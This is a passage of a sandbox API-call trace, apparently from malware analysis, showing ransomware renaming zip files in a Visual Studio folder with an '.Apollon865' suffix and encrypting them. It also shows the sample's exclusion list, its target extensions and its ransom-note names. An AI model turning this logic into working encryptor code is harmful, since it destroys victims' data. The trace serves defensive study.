	[0054.050] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0054.050] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip.Apollon865") returned 115
	[0054.050] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resource.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resource.zip.apollon865"), dwFlags=0x1) returned 1
	[0054.068] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resource.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.069] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2111) returned 1
	[0054.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0054.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.069] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0054.070] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.070] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.070] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb40, lpName=0x0) returned 0x154
	[0054.071] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb40) returned 0x100000
	[0054.072] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0054.073] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.073] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0054.073] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0054.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.073] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0054.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0054.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.074] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.074] CloseHandle (hObject=0x154) returned 1
	[0054.074] CloseHandle (hObject=0x150) returned 1
	[0054.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0054.074] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x85a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ResourceInternal.zip", cAlternateFileName="RESOUR~1.ZIP")) returned 1
	[0054.074] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.074] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="Apollon865.txt.exe") returned 1
	[0054.074] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2=".") returned 1
	[0054.074] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="..") returned 1
	[0054.074] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="windows") returned -1
	[0054.074] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="bootmgr") returned 1
	[0054.074] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="temp") returned -1
	[0054.074] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="pagefile.sys") returned 1
	[0054.074] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="boot") returned 1
	[0054.075] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="ids.txt") returned 1
	[0054.075] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="ntuser.dat") returned 1
	[0054.075] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="perflogs") returned 1
	[0054.075] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="MSBuild") returned 1
	[0054.075] lstrlenW (lpString="ResourceInternal.zip") returned 20
	[0054.075] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip") returned 104
	[0054.075] lstrcpyW (in: lpString1=0x2d3e608, lpString2="ResourceInternal.zip" | out: lpString1="ResourceInternal.zip") returned="ResourceInternal.zip"
	[0054.075] lstrlenW (lpString="ResourceInternal.zip") returned 20
	[0054.075] lstrlenW (lpString="Apollon865") returned 10
	[0054.075] lstrcmpiW (lpString1="ternal.zip", lpString2="Apollon865") returned 1
	[0054.075] lstrlenW (lpString=".dll") returned 4
	[0054.075] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2=".dll") returned 1
	[0054.075] lstrlenW (lpString=".lnk") returned 4
	[0054.075] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2=".lnk") returned 1
	[0054.075] lstrlenW (lpString=".ini") returned 4
	[0054.075] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2=".ini") returned 1
	[0054.075] lstrlenW (lpString=".sys") returned 4
	[0054.075] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2=".sys") returned 1
	[0054.075] lstrlenW (lpString="ResourceInternal.zip") returned 20
	[0054.075] lstrlenW (lpString="bak") returned 3
	[0054.075] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0054.075] lstrlenW (lpString="ba_") returned 3
	[0054.075] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0054.075] lstrlenW (lpString="dbb") returned 3
	[0054.075] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0054.075] lstrlenW (lpString="vmdk") returned 4
	[0054.075] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0054.075] lstrlenW (lpString="rar") returned 3
	[0054.075] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0054.075] lstrlenW (lpString="zip") returned 3
	[0054.075] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0054.075] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip.Apollon865") returned 123
	[0054.075] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resourceinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resourceinternal.zip.apollon865"), dwFlags=0x1) returned 1
	[0054.076] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resourceinternal.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.076] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2138) returned 1
	[0054.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0054.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.077] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0054.077] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.077] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.078] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb60, lpName=0x0) returned 0x154
	[0054.079] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb60) returned 0x100000
	[0054.079] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0054.080] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.080] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0054.080] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0054.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.080] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0054.081] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.081] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0054.081] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.081] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.081] CloseHandle (hObject=0x154) returned 1
	[0054.081] CloseHandle (hObject=0x150) returned 1
	[0054.081] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.081] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.081] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0054.081] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Settings.zip", cAlternateFileName="")) returned 1
	[0054.081] lstrcmpiW (lpString1="Settings.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.081] lstrcmpiW (lpString1="Settings.zip", lpString2="Apollon865.txt.exe") returned 1
	[0054.081] lstrcmpiW (lpString1="Settings.zip", lpString2=".") returned 1
	[0054.081] lstrcmpiW (lpString1="Settings.zip", lpString2="..") returned 1
	[0054.081] lstrcmpiW (lpString1="Settings.zip", lpString2="windows") returned -1
	[0054.081] lstrcmpiW (lpString1="Settings.zip", lpString2="bootmgr") returned 1
	[0054.081] lstrcmpiW (lpString1="Settings.zip", lpString2="temp") returned -1
	[0054.081] lstrcmpiW (lpString1="Settings.zip", lpString2="pagefile.sys") returned 1
	[0054.082] lstrcmpiW (lpString1="Settings.zip", lpString2="boot") returned 1
	[0054.082] lstrcmpiW (lpString1="Settings.zip", lpString2="ids.txt") returned 1
	[0054.082] lstrcmpiW (lpString1="Settings.zip", lpString2="ntuser.dat") returned 1
	[0054.082] lstrcmpiW (lpString1="Settings.zip", lpString2="perflogs") returned 1
	[0054.082] lstrcmpiW (lpString1="Settings.zip", lpString2="MSBuild") returned 1
	[0054.082] lstrlenW (lpString="Settings.zip") returned 12
	[0054.082] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip") returned 112
	[0054.082] lstrcpyW (in: lpString1=0x2d3e608, lpString2="Settings.zip" | out: lpString1="Settings.zip") returned="Settings.zip"
	[0054.082] lstrlenW (lpString="Settings.zip") returned 12
	[0054.082] lstrlenW (lpString="Apollon865") returned 10
	[0054.082] lstrcmpiW (lpString1="ttings.zip", lpString2="Apollon865") returned 1
	[0054.082] lstrlenW (lpString=".dll") returned 4
	[0054.082] lstrcmpiW (lpString1="Settings.zip", lpString2=".dll") returned 1
	[0054.082] lstrlenW (lpString=".lnk") returned 4
	[0054.082] lstrcmpiW (lpString1="Settings.zip", lpString2=".lnk") returned 1
	[0054.082] lstrlenW (lpString=".ini") returned 4
	[0054.082] lstrcmpiW (lpString1="Settings.zip", lpString2=".ini") returned 1
	[0054.082] lstrlenW (lpString=".sys") returned 4
	[0054.082] lstrcmpiW (lpString1="Settings.zip", lpString2=".sys") returned 1
	[0054.082] lstrlenW (lpString="Settings.zip") returned 12
	[0054.082] lstrlenW (lpString="bak") returned 3
	[0054.082] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0054.082] lstrlenW (lpString="ba_") returned 3
	[0054.082] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0054.082] lstrlenW (lpString="dbb") returned 3
	[0054.082] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0054.082] lstrlenW (lpString="vmdk") returned 4
	[0054.082] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0054.082] lstrlenW (lpString="rar") returned 3
	[0054.082] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0054.082] lstrlenW (lpString="zip") returned 3
	[0054.082] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0054.082] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip.Apollon865") returned 115
	[0054.083] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settings.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settings.zip.apollon865"), dwFlags=0x1) returned 1
	[0054.083] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settings.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.083] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=952) returned 1
	[0054.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0054.084] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.084] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.084] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0054.084] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.084] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.085] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x154
	[0054.086] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000
	[0054.088] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0054.088] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.088] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0054.088] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0054.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0054.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0054.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.089] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.089] CloseHandle (hObject=0x154) returned 1
	[0054.089] CloseHandle (hObject=0x150) returned 1
	[0054.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0054.089] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x3d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SettingsInternal.zip", cAlternateFileName="SETTIN~1.ZIP")) returned 1
	[0054.089] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.089] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="Apollon865.txt.exe") returned 1
	[0054.089] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2=".") returned 1
	[0054.089] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="..") returned 1
	[0054.089] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="windows") returned -1
	[0054.090] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="bootmgr") returned 1
	[0054.090] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="temp") returned -1
	[0054.090] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="pagefile.sys") returned 1
	[0054.090] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="boot") returned 1
	[0054.090] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="ids.txt") returned 1
	[0054.090] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="ntuser.dat") returned 1
	[0054.090] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="perflogs") returned 1
	[0054.090] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="MSBuild") returned 1
	[0054.090] lstrlenW (lpString="SettingsInternal.zip") returned 20
	[0054.090] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip") returned 104
	[0054.090] lstrcpyW (in: lpString1=0x2d3e608, lpString2="SettingsInternal.zip" | out: lpString1="SettingsInternal.zip") returned="SettingsInternal.zip"
	[0054.090] lstrlenW (lpString="SettingsInternal.zip") returned 20
	[0054.090] lstrlenW (lpString="Apollon865") returned 10
	[0054.090] lstrcmpiW (lpString1="ternal.zip", lpString2="Apollon865") returned 1
	[0054.090] lstrlenW (lpString=".dll") returned 4
	[0054.090] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2=".dll") returned 1
	[0054.090] lstrlenW (lpString=".lnk") returned 4
	[0054.090] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2=".lnk") returned 1
	[0054.090] lstrlenW (lpString=".ini") returned 4
	[0054.090] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2=".ini") returned 1
	[0054.090] lstrlenW (lpString=".sys") returned 4
	[0054.090] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2=".sys") returned 1
	[0054.090] lstrlenW (lpString="SettingsInternal.zip") returned 20
	[0054.090] lstrlenW (lpString="bak") returned 3
	[0054.090] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0054.090] lstrlenW (lpString="ba_") returned 3
	[0054.090] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0054.090] lstrlenW (lpString="dbb") returned 3
	[0054.090] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0054.090] lstrlenW (lpString="vmdk") returned 4
	[0054.090] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0054.090] lstrlenW (lpString="rar") returned 3
	[0054.090] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0054.090] lstrlenW (lpString="zip") returned 3
	[0054.091] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0054.091] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip.Apollon865") returned 123
	[0054.091] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settingsinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settingsinternal.zip.apollon865"), dwFlags=0x1) returned 1
	[0054.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settingsinternal.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.091] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=980) returned 1
	[0054.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0054.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.092] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0054.093] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.093] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.093] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6e0, lpName=0x0) returned 0x154
	[0054.096] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6e0) returned 0x100000
